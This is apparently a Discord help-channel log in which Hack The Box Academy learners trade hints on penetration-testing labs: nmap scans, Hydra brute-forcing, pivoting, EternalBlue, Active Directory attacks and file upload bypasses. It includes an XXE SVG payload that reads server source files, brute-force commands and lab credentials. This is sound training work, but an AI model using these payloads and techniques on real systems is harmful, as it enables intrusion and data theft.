if you would pass 2 arguments in single [ <x> ] it would return too many arguments + the normal result for example, in double [[ <x> ]] it would just return the normal result

https://www.baeldung.com/linux/bash-single-vs-double-brackets

[coarse escarp]

what the fuuuu

wrong pic

lol

wtf happened here??

I just reset

[gaunt surge]

maybe fullscreen mode would be usefull

[coarse escarp]

ok so now I'm getting a syntax error around the port number

[gaunt surge]

you should specify the port without <> around it

same for the ip

remove the < >

[coarse escarp]

did that now I gotta add a new port number lol

[coarse escarp]

no such file or directory...

[gaunt surge]

@coarse escarp can you show the full command you have now?

[coarse escarp]

\

[gaunt surge]

you still have < and > at the ip address, remove those

[coarse escarp]

but then why did the instructions say <IP_address>:<Portnumber>

[vital adder]

that's just a placeholder

[coarse escarp]

I'm semi new but come from a coding bacground

in a object bassed code that is used as a housing syntax

so I'm a little confused but will remember not to use those

oh wait..

I didn't add paramaters

[gaunt surge]

1. you have a space before the port number it seems like, there should be no space after the :
2. not -x but -X

[coarse escarp]

got it

[weak kindle]

Weeb!

😄

[rustic sage]

what is mean f this?

[coarse escarp]

wait... that's the same pic

hold on

so it's saying I need a valid cookie but I copy and pasted the most recent one

with the correct port number

[coarse escarp]

a condition is a set paramter that the code will run in

an if else command is an example of a condition

If the amount is above 50 dollars deny acces Else allow transaction

and a variable can be anything you set value to

it's a container of value

so for java a variable looks like {Bank amount = $~}

a for loop is a repeated action on till a condition is met

and it doesn't exactly need to be a repeated action either

it's a way of making the code flow

it's a different kind of jump condition

for each task is complete go back and repeat until a clause is met

a bit rusty so I had to double check some of my work

great...

because of my internet I lost my box

[wise vault]

What is the size in GiB of the "/dev/vda" disk in our Pwnbox? (Format: 000)

please someone answer

i have no paid subs.

[vital adder]

if you mean the pwnbox then
Please note, free users are only able to spawn one Pwnbox instance per day. The Pwnbox instance has a lifetime of 120 minutes. Internet access is limited to our own targets, and GitHub. This limit can be lifted by making a purchase on Academy.

[coarse escarp]

yeah ik just annoyed is all

[wise vault]

What is the size in GiB of the "/dev/vda" disk in our Pwnbox? (Format: 000)

[wild dragon]

I completed 83 modules, but I still have no the Hardware Hacking badge lol, it's missing, lol

[pine dagger]

Im sure they will fix it on Monday 🙂

[coarse escarp]

so in the regular htb I'm having trouble with a build bash script

I'm litterally a few commands away from completeing this box

but it's not finding a supported release

[narrow solar]

good day friends, how to solve this?

[acoustic owl]

Is there a file users.txt?
If yes, does your user have the right to overwrite this file?

[narrow solar]

no its anew one

its at AD Enumeration & Attacks - Skills Assessment Part II

[acoustic owl]

Meow is a box from Starting Point. Try to get help there.
#starting-point

If you have no access, then read and follow #welcome

[acoustic owl]

i see, you are in /opt, right?
Your user has no write permissions there.
Change to your user directory

[narrow solar]

oh i get it 😅 thanks a lot 😊

[sleek urchin]

Doing HTTPs/TLS Attacks:Skills Assessment and have been stuck for couple of days, from what i understand it's oracle padding attack and error massage is "Decryption failed" not " Padding failed", therefor the decryption of htb-user cookie succeed, but getting admin user cookie seems to be missing an encryption and i tried adding base64 + hex {vise versa} encoding to admin cookie but no results

any help is well appreciated!!

[acoustic owl]

Have you decoded the token?

[coarse escarp]

I posted the issue there

would you mind seeing what's wrong?

[acoustic owl]

I can help you with most of the modules in the Academy, but I don't have notes from Starting Point.
That's why I told you to ask your question in the right channel. There will be people there who can help you.

[sleek urchin]

after i got what is supposedly the admin cookie and tied to redeem it /token but I get " Decryption Error. Invalid Token! "

[coarse escarp]

ok

[acoustic owl]

Send me a DM with the command you used.

[sleek urchin]

and i have view the reposes in Burp, and most of the pages and buttons are static expect for /admin and /token, but i didn't see any token laying around for any user

[sleek urchin]

ok

[cedar void]

I am having trouble with this question('+ 5 What is the password history size of the domain? (How many passwords remembered.') from the section of this module(https://academy.hackthebox.com/module/22/section/290) and I think I have to look for the domainDNS with the search filter of the ldapsearch-ad command:

"python3 /opt/ldapsearch-ad/ldapsearch-ad.py -l 10.129.42.188 -d inlanefreight -u james.cross -p Academy_Student! -search-filter "domainDNS"

The command below didn't return the results I wanted. What else could I add to this command ?

[zinc marsh]

how many threads u guys use with ffuf

to enumerate subdomains

[subtle flicker]

Hey i'm on pivoting module in the SocksOverRDP section. I've uploaded the zip into the windows machine and extracted the files, but once i try to "load" the .dll file this error occurs

The file is detected as a virus and is deleted just after the command

[gusty zinc]

Module: File Upload Attacks
Section: Final Assessement

I'm stuck, cant make any progress on this - can someone give me nudge? Open for a DM?

[acoustic owl]

Deactivate Real Time Protection on this Machine first

[subtle flicker]

Thanks, it worked

[acoustic owl]

Try to get the PHP source code.

[rustic sage]

Module : Network Enumeration with NMAP
Section : Saving the result
Using VPN
Question : is this a networking issue or do I have to change my nmap parameters to do the requested scan ?
Thx

[fathom pendant]

This is expected as you're doing a verbose output, it's telling you "hey this port we're trying ain't responding"

And because you're doing -p- it's checking all ports

[fading meadow]

Module: Network Enumeration with NMAP
Section: Firewall and IDS/IPS Evasion - Easy Lab
Question: i cant seem to find OS type everything i try gives me back "No exact OS matches for host"
Only thing i found was this but the answer is not Linux
Also i fond some write up that says i shoud use this but its not working (nmap --script smb-os-discovery 10.129.2.8)

How do i send pictures discord is not leting me

[fathom pendant]

Well when you run Nmap it shows that a web service is running

You can reasonably assume the os based off that (it's the distro)

[fathom pendant]

Verify your main htb account, the instructions are in #welcome

[fading meadow]

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel (i found this)

ty

[fathom pendant]

Visit the webpage

Or perform it specifically targeting the web server

[rustic sage]

thx for your response.
I did --vv when I noticed it was taking such a long time. -p- is for full scan as requested in the exercize.
Why does it take such a long time for the scanning ? Do I need to work on my nmap parameters ? Is my nmap command correct for this exercice ? ...

[proud pine]

There's 65535 ports, and depending on various factors, it can take a small bit of time to confirm if a port is closed or not.

[rustic sage]

Thx rat for answering. I do understand that the number of scanned port can make nmap taking a long time... but... i'm using HTBvm and I am surprised that this simple nmap command takes such a long time... It takes longer than my HTBVM life time 🤔 This is why i'm asking myself if I use the write parameters for this exercice ...

[fathom pendant]

Try the scan with -sT instead

You're doing a syn scan meaning it's going to keep trying until max retries are met

Iirc you can hard set --max-retries

[fathom pendant]

It's telling you that it's bumping up the retries because it's failing

[misty mural]

I'm working through the Live Engagement of the Shells & Payloads modules and am on Task 3.

|| I'm attempting to use EternalBlue to exploit the machine, but it's failing. The server allows aspx uploads and I am able to access PowerShell with antak. I'm in a mental block where I'm not sure what I require to move forward. ||

[fathom pendant]

Are you setting the LHOST to the right internal ip

[torn steppe]

@fathom pendant that was my inital fault 😄

[misty mural]

Love that you asked this. The results from ifconfig give me several results and I'm conditioned to use tun0 (not present).

[torn steppe]

ifconfig for win!!

remember that you are in a foothold !!

[misty mural]

I have prefixes docker, ens, and lo. My intuition says docker.

[torn steppe]

try other 😄

but you are in the good path

@misty mural Have you achieve the reverse?

[misty mural]

No, the process fails after the exploit is executed on the target.

[acoustic owl]

Wrong Server

[misty mural]

The final output is "Triggering free of corrupted buffer" prior to failure.

[torn steppe]

task 3 you mean the host3?

[misty mural]

Correct.

[torn steppe]

what service are you trying to exploit?

[misty mural]

SMB via port 445.

[torn steppe]

I supose you are using metasploit ?

waht module?

[misty mural]

windows/smb/ms17_010_eternalblue

[rustic sage]

@proud pine @fathom pendant thx for your help. I answered the module final question by doing a -Pn scan... but... I'm still wondering why -p- option takes so long time. I tested it on my own VB and same thing.... very long ....

[torn steppe]

sometimes some modules are better than others,depending on the host...

@rustic sage using -p- and not using any othe flag as -min-rate or -T4 , and if you are using normal three hand shake tcp imagine for 65535 ports...

[misty mural]

https://tenor.com/view/facepalm-annoyed-stöhn-oh-no-oh-nein-gif-24943313

[torn steppe]

XDDDD

[misty mural]

I appreciate you helping me win the war against my own mind. XD

[storm pewter]

.

[torn steppe]

@misty mural 😄 no problem, imagine my face when I was taking the wrong IP in the first host... Same feeling XD

[rustic sage]

I understand. I thought I had to make more searches on nmap parameters to answer the module's final question using -p- . The problem for this module is : if the spawnmachine has his top TCP open port out of the range of the default values for -Pn, it will be impossible to find it due to the fact that -p- is too long to run. Because when asking to do a full TCP scan... aren't we supposed to scan all port (-p-) ....? Anyway ... I'm now going to next module ... 😀 Thx for helping @misty mural @torn steppe @fathom pendant @proud pine

[tender lake]

I am having a surprisingly hard time with Attacking Common services - FTP, I am stuck on the 2nd question where I need to enter the username that I have found.
I used Hydra and the 2 lists that was provided in this module and I got a successful response. But when I submit the username as an answer it does not work. And I can't connect to the ssh service as required in the last question with the username and password that hydra found.

hydra -L 'users.list' -P 'pws.list' ftp://IP -s PORT
[PORT][ftp] host: IP   login: j___   password: 3_______
.....
ssh j____@IP
 j____@IP: Permission denied (publickey).

[torn steppe]

I don't know but, maybe the mistake is that are you trying to login via ssh with a ftp credentials??

I dont reach this module yet but maybe the credentials are different between services and aplications

[tender lake]

The questions for that section

[torn steppe]

ahms

thx for the picture

[tender lake]

Yeah, this one is a bit weird. I tried to find the port with a -p- nmap scan but it didnt show up until the 4th reset

[torn steppe]

what port is running ssh service?

[tender lake]

22, the standard one

[solemn bronze]

I need some help with server side attack module, skill assessment. It will be great help if someone could drop some solutions.

how to upload screenshots of the assessment ??

[deep owl]

hello all

AD Enumeration & Attacks - Skills Assessment Part II

• 1 Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

i was able to get a meterpreter session and ran "getsystem" and found the answer to the question

but am not able to do hashdump to solve the next quistion

• 1 Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

did i approach the first question in a wrong way ? please give me hints i feel like am lost

[abstract nova]

**Firewall and IDS/IPS Evasion - Hard Lab **
Now our client wants to know if it is possible to find out the version of the running services. Identify the version of service our client was talking about and submit the flag as the answer.

I found the port but not sure how to get the flag.

[tender lake]

try connecting to the service, or using one of the nmap flags

[fathom pendant]

Connecting is the way to go

[analog pewter]

@fathom pendant how to get a role of HTB community contributor

[vital adder]

#📣-announcements message no idea when i will get my

[sand cedar]

by contributing to the community

[analog pewter]

ohk

[fresh pine]

"Credential Hunting in Linux" - Password Attacks

I tried mutating the password without success when doing hydra. Any tips please? 🥺

[analog pewter]

try lowercase

[acoustic owl]

If you live here, so to speak, then this role comes automatically 🤪

[fresh pine]

I added l (all to lowercase) to the custom.rule and tried, didnt work 😢

[analog pewter]

Username 😶

[fresh pine]

haha awesome thank you!

[tender acorn]

i found a bug

[zinc marsh]

yo for the people who are used to use ligolo

I just got access to this machine, to access to the ports listening

I just connect with agent and I add 10.129.142.228 to the route?

[trail leaf]

If you do an ip a, you should see the CIDR notation for the subnet, it's basically just that. Something along the lines of 10.129.142.0/24 in this case I think

Ligolo is a bit overkill here though, just do some local port forwarding with the -L flag in SSH

[pulsar needle]

I tried to bruteforce SSH with the password using the custom rule provided, however it didnt work for the user ||Kira||

[cedar void]

I am having trouble RDPeeing into the windows machine :

https://academy.hackthebox.com/module/22/section/290

What I typed out: xfreerdp /v:10.129.42.188 /u:james.cross /p:Academy_Student! /dynamic-resolution

The password I used was 'Academy_Student!' and it doesn't work

[pulsar needle]

Try logging in on your phone

[tender acorn]

the bug go away when i make the window smaller and came back when i fullscreen even relode save

[zinc marsh]

it is a machine not a lab

I just want access to the local ports

[trail leaf]

that's why I'm saying ligolo is overkill

[zinc marsh]

so better use chisel in this case?

[trail leaf]

If you just need to access single ports on a remote machine, and there isn't a need to pivot further into the network, my go to is to SSH local port forward

[zinc marsh]

I am www-data

I did revshell

[trail leaf]

ah that makes sense

You could upload a static copy of socat and use that, but yeah, I understand trying to use ligolo or chisel then if you really don't want to use anything else

[zinc marsh]

I was thinking if I could setup the proxy with ligolo

and connecting to it I could have access to the ports

but I did wget and the machine died lol I had to restart it

[cedar void]

.

[trail leaf]

I think you should, and if not, pretty sure ligolo has an option to do some port redirection which is functionally the same as what I was saying

[trail leaf]

Did you put single quotes around the password?

xfreerdp /v:10.129.42.188 /u:james.cross /p:'Academy_Student!' /dynamic-resolution

The ! by itself usually gets interpreted differently by the shell

[zinc marsh]

I will try it

[cedar void]

Oh I see. I will try that?

[zinc marsh]

the machine didn't crash now

I will try nmap now to check

[trail leaf]

probably DM at this point, feels like we're clogging up this channel :)

[zinc marsh]

it crashed anyways I will just use chisel

[cedar void]

That still didn't work for me

[zinc marsh]

u writing the password wrong

[cedar void]

Write it like this : xfreerdp /v:10.129.42.188 /u:james.cross /p:'Academy_Student!' /dynamic-resolution

[trail leaf]

I can't see the module because I don't have it unlocked so I don't know what the correct password is 🙃

[zinc marsh]

u don't need rdp for that

but I don't know what the module teaches u

[cedar void]

how do I access powershell then from a linux tool

*linux host

[zinc marsh]

check the ports open

but if I remember well when u have to login with rdp they tell 'RDP to IP with user "" and password "" '

[trail leaf]

I think it's an older module, so things might be different now

[zinc marsh]

he can check the password policy with other tools anyways

[trail leaf]

This is the Active Directory LDAP module, the whole point is to work with LDAP

The xfreerdp command, as far as I know, is correct. If you are sure you need to use RDP, maybe try something else like Remmina? If that doesn't work, it could be possible that you're just supposed to query LDAP remotely, or maybe even sign in with winrm.

I haven't done this module, nor have I unlocked it, so I can't say for certain how they do or don't want you to do this.

[zinc marsh]

I got it with chisel

[inner talon]

hello, did you manage to figure it out?

[cedar void]

I tried this and it didn't work. ' /opt/windapsearch/windapsearch.py --dc-ip 10.129.42.188 -d INLANEFREIGHT.LOCAL -u james.cross -p 'Academy_Student!' --custom '(objectClass=domainDNS)' --attrs pwdHistoryLength
'

[humble halo]

Anyone have done The Corporate Osint : Cloud Storage Section. I need help for finding the bucket name of AWS that the site use

[subtle flicker]

Hey i'm practicing in the lab assessment in the pivoting module. Once i pivot on the third machine it start to be a bit confusing, and it's hard to keep the wires connected. Could someone give me a hand/advices on how to keep the flow ?

[acoustic owl]

Look at everything. ||Also the source code||

[old wren]

I just want to say that I've been pointlessly stuck on this question for at least an hour, and it's a very bad question from which you learn almost nothing of value. That's it.

[humble halo]

@acoustic owl Still on inlanefreight.com ?

[ruby drum]

on the nibbles challenge i get "sudo: no tty present and no askpass program specified" after modifying the monitor.sh file and running it, why?

[trail leaf]

You probably need to stabilize your shell, follow the instructions in the section. They walk you through exactly what to do.

[trail leaf]

Just use find or locate. If you’ve been stuck on it for an hour, it has value in teaching you how to find files on your system.

[thick granite]

using Burp, send a POST request to the server on http://serverip:port/xmlrpc.php with below xml content
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Now create a Wordlist by collecting all the methods returned in the response and make a wordlist
Now use Burp intruder nad replace the system.listMethods with the wordlist and start the attack.
The resulting no. of possible method calls to your target is the answer.

[humble halo]

@acoustic owl Thanks!!!

[quasi wave]

hi i'm having some issues with last section of getting started module. I am clicking on the file upload button but its not letting me upload a file

I'm assuming its a file upload vulnerability much like nibbles earlier in the same section

"upload files and/or images" button does nothing

decrypting the password and logging in was not too difficult.

I mean it took a minute for me to realize it was a hash

but I totally get it

but when I don't get is whether or not the fact that the box I'm currently doing is right after nibbles in same section on academy is trying to trick me into thinking its also a file upload issue

because I'm looking at all of these hidden pages and I am starting to question if its purposely leading me towards file uploads when the real issue is something else

can someone help me out here?

[astral inlet]

hi there is it only possible to buy cubes with credit card and not with paypal ?

[slender nymph]

Can I find a team were we join in on #710108839063846964 Htb CTFs ….. open for invites 😃

[maiden spindle]

Hydra doesn't update with apt. I went to the github and did the make install but it still doesn't work for smb. Does anyone know how to fix this?

[fathom pendant]

Lowercase 'k'

[fiery berry]

In case you can use crackmapexec for SMB

[fathom pendant]

Yes

I believe PayPal is an option

But that sounds more like you should ask support on the website rather than discord

[astral inlet]

thx i did that a few mins ago 🙂

[final maple]

Can anyone help me with the initial foothold for the "Skills Assessment - File Upload Attacks" Module? I see the page html source code and have tried editing out the blacklist function, but I still can't upload anything other than .jpeg, .jpg, or .png. I've been able to get shell.php.jpg to upload, but I can't really do much from there. I've also tried fuzzing the parameters for LFI. When I fuzz for file extensions and file acceptance types, I get the same length code of 2044 for everything, so it is not really useful.

[umbral wigeon]

you can use xxe to view sensitive files such as the backend source code

[final maple]

I actually am able to upload arbitrary files now. I realized I needed to use Firefox to edit out the blacklist function. Can you give me a nudge as to how to view the sensitive files once I have uploaded the xxe-infected svg file? Thanks!

[umbral wigeon]

you can find the files u uploaded in an uploads directory, but details to that can only be found if u have first obtained the backend source code

[final maple]

I think that is where I am stuck. I used fuff to find the ||upload.php|| file, but I am not sure how to obtain it's source code. I tried using "php://...." in the parameters of the contact page in burp, but that is not working.

[umbral wigeon]

it's in the section under Limited File Uploads

[final maple]

Okay, I will read through that again. Thanks! So, am I supposed to upload the SVG file first, then access it to read the back-end source code? If so, how do I know where to look for the file?

[umbral wigeon]

the file will be uploaded yes, but you dont need to look for it as the contents of the back-end source code will be presented in the burp response in svg tags

if you do look for the file, you will see that it actually contains the payload u sent

[final maple]

I see. So far, I have not seen any svg tags in my burp responses. Is there a specific way I am supposed to be uploading it?

[final maple]

Here are my steps so far: Make test.svg file with ||<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>|| then, edit out the blacklist function in Firefox, upload the file, catch it in Burp, send it to responder, and look for the response...but I do not see any svg tags in the response

[umbral wigeon]

since u found in your initial enumeration that only .jpg .jpeg and .png are allowed, you can try to upload that format but change its contents to the xxe payload. Note that even though u edited the blacklist function in Firefox, but that is only client-side validation, you dont know what they are doing in the backend yet

[final maple]

I think the part where I change the file's contents is what I am stuck on since the requests in the prior exercises had an obvious place to put in additional code (php or xxe code). I am not understanding how I am supposed to change the code with this type of request format. Do I just put the xxe code at the bottom of the request?

[umbral wigeon]

try to upload a legitimate .jpg file, intercept with burp, and then edit the request

[final maple]

Thanks, @umbral wigeon ! Should I focus on the parameters or on adding code to the request?

[coarse escarp]

So I need some help

[thorn urchin]

on which module

[hazy grotto]

having trouble with greenshot.

[coarse escarp]

I'm doing a post request on the web request module

[coarse escarp]

but I don't know what flag I'm looking for

do I just need the session cookie?

[hazy grotto]

I thought there was a hotkey to make a selection of what to capture, then it would auto load the editor so that you can add red arrows and etc. I'm having the hardest time. I'm pushing prntscrn, selecting, then right clicking green arrow in the right bottom tray, and clicking capture last region, which opens up the editor but the selection is now in the wrong spot.

[coarse escarp]

hold on

got it

was litterally searching the wrong thing

[misty elk]

Any nudges for Attacking Common services(easy). I'm stuck on trying to upload the CVE exploit. Ended up getting this.

Date:Sun, 30 Jun 2023 01:46:33 GMT
Server: Core FTP HTTP Server
Accept-Ranges: bytes
Connection: Keep-Alive
Content-type: application/octet-stream
Content-length: 5

[coarse escarp]

I seem to have server connection issues

but everything else worked just fine for me until then

why

[coarse escarp]

it happened again with a new server

and I got plenty of time

[thorn urchin]

its A public docker instance

your internet could just be bad

¯_(ツ)_/¯

[coarse escarp]

so do I just have to wait till tomorrow and hope for a better terminal?

[thorn urchin]

happy now

not a better terminal, just keep trying

[coarse escarp]

I only have one terminal per day

I do plan on getting VIP soon

soooo hopefully I'll have a better experience

[final maple]

Anyone available to DM with me about Skills Assessment - File Upload Attacks? I've been stuck on it all day. Thanks!

[final maple]

I just saw the green upload button...FML LOL!!! If you don't use the green square with the upwards arrow icon to upload, you won't get the full POST Request...I was using the blue submit button before.

[iron plaza]

guys and gals got a question related to adding an exploit to msfconsole ... I am on the shells & payload skills assessment and saw the exploit in question on the target machine but when i try to add it ... it does not show in the msf search result ... did the same thing on my own host and it worked fine so need to find out is something missing at my end or is this a tech issue

[tranquil axle]

I couldn’t see it via search but when I manually typed “use exploit/path/to/file/filename” I was able to use it without searching first

[iron plaza]

interesting

[iron plaza]

it worked .. thanks for the suggestion. Wonder why this is the case

[tranquil axle]

It probably builds a cache for searching at some point and you have to refresh it if you add something afterwards

[fathom pendant]

Yes

[iron plaza]

i did do the updatedb and saw the counter go up but the search didnt work however the use with direct path to file worked

[final maple]

Can anyone nudge me on the final part of Skills Assessment - File Upload? I have found the source code, file upload directory, and renaming scheme. I have uploaded a regular jpg file and found it at the website with the new file name. For my file name, I am using ||shell.pht.jpg|| and also ||image/jpg||. I've been trying to add php code to the request, but so far have not gotten ?cmd=id to work. I've tried lots of Magic Bytes so far, including for jpg/jpeg.

[iron plaza]

Need a bit of clarification on crackmapexec ... I have tried crackmapexec rdp [target IP] -u [username] -p [password] and got false negative but when I try same credentials on xfreerdp /v: [target IP] /u: [username] /p: [password] it goes through ... why did I get false negative and how to overcome this?

[misty current]

Are the creds a local or domain account?

I haven't used the rdp mode on cme much, I wonder if it supports the same thing for SMB like --local-auth.

[iron plaza]

ooh not sure about that ... i did get the password from crackmap with smb to enumerate shares and i had the username and found the password

[iron plaza]

however i just tried to add --local-auth to crackmap for rdp and still got the false negative

[iron plaza]

if id works than the other simple commands should work ... did you try url encoding

[misty current]

You get a hit [+] using smb mode right? if you did get that hit without --local-auth then it's a domain account otherwise it's a local account.

I've had problems with rdp mode in the past too, part reason why I stopped using it.

[iron plaza]

whats your alternative ?

[iron plaza]

yes

[rustic sage]

Hi everyone, i a am new to htb and i am currently doing th get started module, i encounter an issue with msf. i try to exploit a vulnerability on the openssh service but i am asked to configure the 'session' parameter' however it seems i have no active session. i am using the VM provided by htb.
does anyone have a clue to help me solve this pb?

[thorn urchin]

that exploit is definitely not the correct path forward

session refers to shells caught with metasploit already using other exploits or means. Because the exploit you selected is for s windows local privilege escalation, so it routes through an existing shell on the victim to run.

[rustic sage]

thanks @thorn urchin when i search exploit openssh it is the only one proposed though 😥

[thorn urchin]

been awhile since Ive done the module, does it insist on an openssh vuln?

openssh has not had many remote exploits

[rustic sage]

it said to scan the services on open ports and for the target ip i was given i only had openssh on port 22. i am real beginner so i probably misunderstood something though.

[thorn urchin]

ah in this case youre given a public docker instance

so that port corresponds with the service they want you to poke at

good thing you didnt exploit that ssh server!

the target is written as

HOST_IP:PORT

[misty current]

I just clear the checks with xfreerdp or hydra if I have multiple credentials to check.

[rustic sage]

😅 oups. but i dont get it, the part where they say 'Target: 83.136.252.24:40135' this is not my target? where can i find the correct IP:PORT then?

[thorn urchin]

that is your target

83.136.252.24 is the ip, 40135 is the port

[rustic sage]

then i dont understand where is the problem whith the nmap on that target that returns the result above ...
maybe i need to dig deeper in the subject before starting those exercises. thanks for trying to explain me though

[thorn urchin]

you scanned the IP for other ports on the system. So the openssh was for port 22, when youre supposed to poke port 40135

[bold flume]

hello

[rustic sage]

😵 ahhhhhh okayyyyy

[bold flume]

i want help gyes

[thorn urchin]

read #rules and #welcome

[bold flume]

yes

[rustic sage]

thank you very much i thougth nmap with the ip scanned allports i did not know it was other ports, thanks for your help and patience!!

[bold flume]

when i use airodump ng not showing networks

plz help

[thorn urchin]

theres no airodump module

[bold flume]

what

[thorn urchin]

so youre in the wrong place

academy module discussion only

[bold flume]

no i am talking about kali linux

[thorn urchin]

And this channel is for academy modules

its not generic help

[bold flume]

where is channel for that

[thorn urchin]

read #rules and #welcome or leave

[bold flume]

rude

[thorn urchin]

If ya read em, yad know

[acoustic owl]

this has nothing to do with being rude.
This channel is solely about the modules in the HTB Academy.

Kali Linux has its own Discord channel.

[narrow solar]

good morning friends, i am at AD Enumeration & Attacks - Skills Assessment Part II trying to get flag at SQL01, i have an empty sql database and the service have no access to the admin desktop, one of the 2 users we had to compromise is part of IT-MANAGERS group that has no privileges, SQL01 is vulnerable to printnightmare but cant do it because i need to have credentials, i am stuck for a day and would appreciate a hint

[thorn urchin]

dont give up so quickly on the SQL, review module details closely, even review earlier modules in the course related

[narrow solar]

i tried Execute Commands, Read Local Files, Capture Service Hash, Impersonate Existing Users with the sql and didnt work, i will try more, thanks 😊

[fiery berry]

you can just use the information shown in the dehashed output

tf? Sorry I'm not that good with short words 😅

[obsidian crag]

Hyy friends

What' s up

[coarse escarp]

I'm a little confused as to what it's asking

is it asking for the targets banner or the host banner?

I'm assuming the targets banner

but then

why is this answer wrong?

It's in simialer nature to this

[proud pine]

because you didn't netcat to the correct port.

[dawn parrot]

module : Attacking Common Services - Hard
i found the creds of 2 users ||patric|| (having user priv) and ||julio|| (having admin priv) by impersonating ||john||. but I don't know what to do now
i tried impersonating ||simon|| with ||fiona||
i tried this credentials all over the places

[coarse escarp]

ah

yeah

[dawn parrot]

also can't enable xp_cmdshell with ||julio|| or ||patric|| or even ||john||

[polar skiff]

hi, im stuck in footprinting pop3/imap What is the customized version of the POP3 server? i look to the existing forum and questions/anwsers but i still dont get it ... i got all the other but still stuck on this one

[fathom pendant]

Connect and enumerate

That's really all I can say...

[polar skiff]

i know is not the namp, i got the v9..... and i try it but no luck

[fathom pendant]

connect being the keyword here

You're taught how to connect in the module

Sometimes Nmap doesn't give us all info

[sly kelp]

If you answer the question which user can you impersonate to get high priv you will understand how to solve it

[sly kelp]

Where did you get this which services.?

[polar skiff]

got it !

tnks

[dawn parrot]

@sly kelp got it from the local linked server

LOCAL.TEST.LINKED.SRV

[sly kelp]

You are on right path but you are missing something

[subtle flicker]

Hey guys it's possible to do multiple pivoting using the same tool like ligolo? I'm trying to do it in the pivoting assessment but it's giving me error. I've added routes and everything, but maybe it's not just possible and i'm losing time

I've reached the pivotwin10 machine (with user vfrank) and the next step would be take the domain controller. But when i try to run the agent the proxy pops errors

[pulsar needle]

No

Its like

https://tenor.com/view/daeth-funi-periflight-dies-from-gif-22212023

[burnt seal]

Hey guys, Currently doing the whois module in academy. It appears that the whois info for telsa required for an answer is now hidden

Can anyone else confirm

What is the admin email contact for the tesla.com domain (also in-scope for the Tesla bug bounty program)?

[fathom pendant]

I've redone this one and it is not hidden unless it was like very very recent

[burnt seal]

For somereason it's going through registrador.es for registrar

tried outside of command line and getting similar

[fathom pendant]

Sir

I dont mean to alarm you

[burnt seal]

I'm a fucking idiot

...

[fathom pendant]

Yep

Was it the "sir"

[burnt seal]

It was

[fathom pendant]

https://tenor.com/view/spongebob-stabbing-himself-minul-mirdha-spongebob-suicide-gif-19249830

I gotcha with the embed

[burnt seal]

Legend

[fathom pendant]

It do be that way

[trail leaf]

It be like that sometimes

[fathom pendant]

As soon as I clicked on it

[trail leaf]

Same brainwaves

[fathom pendant]

"telsa.com"

Minor spelling mistake, argument invalidated completely

[maiden spindle]

Hey guys, I'm on Password Attacks Lab - Hard. I've got d**** pass but i can't seem to rdp with it. What am I missing?

https://academy.hackthebox.com/module/147/section/1356

[fossil turret]

I'm currently taking the Linux Fundamentals module and it's asking for the path to the htb-student's mail, so I type 'mail' and it says to install it but I couldn't do that because I don't know the administrator password in the instance. Am I going too deep in trying to hack the instance for root's password to install mail just to get the path or is the answer much simpler than that?

[rustic sage]

#welcome

[hushed mountain]

its much simpler, work with the "env" command

[fossil turret]

Thanks! 👍

[gloomy bramble]

I think I have the flag now from txt details for Attacking Common Services Attacking DNS. The module is not acceptting it. format is "HTB(......)" I put with and without "'s, neither works. Anyone that can correct me?

[rustic sage]

i try solve this

[trail leaf]

Should be curly braces instead of parentheses, no quotes around the outside

If you’ve found the flag, you should be able to copy and paste it as is

[gloomy bramble]

Is it possible it is not the flag? I literally see the format at what i'm looking at right now, but not working.

[cunning prairie]

Have you tried resetting machine?

[trail leaf]

DM me a screenshot, not at my computer to verify character by character, but I think i can stull help

[deep owl]

hello all

AD Enumeration & Attacks - Skills Assessment Part II

• 1 Obtain credentials for a user who has GenericAll rights over the Domain Admins group. What's this user's account name?

[cunning prairie]

regardin the sub-domain you discovered, is it only two letters?

[deep owl]

i know that i have to check bloodhound since it is for checking rights of users

but when am running sharphound at MS01 as administrator user am facing errors

and when i ran sharphound on attacker machine am not able to see any users or don't know how

[cunning prairie]

running it on different machines can help. try on a different victim machine

[deep owl]

any hints on how to find users that have genericall and are part of domain admins group ..... am terrible at bloodhound

[gloomy bramble]

sent. thank you for looking when you get a chance.

[maiden spindle]

@cunning prairie So I'm supposed to be able to rdp into it? I've currently got a powershell for D**** running but I'm finding nothing LaZagne turns up nothing and I can't lsass dump or sam since I'm not admin

[rustic sage]

????????

[keen oasis]

#858470491676737536 message

It is 19 characters not 20

[cunning prairie]

I didn't use RDP (hint).

Look at another protocol.

[deep owl]

can i find the answer via pre-built queries or do i have to use custome cipher query

[maiden spindle]

okay thnks

got tunnel vision

[cunning prairie]

I would try sharphound on a different machine. look at other machines you have accessed.

[rustic sage]

it do not solve this

[inner sand]

hey guys

so I am willing to give the OSCP Exam a Shot

and i was wondering if i can setup a similar lab of the offsec online labs on my computer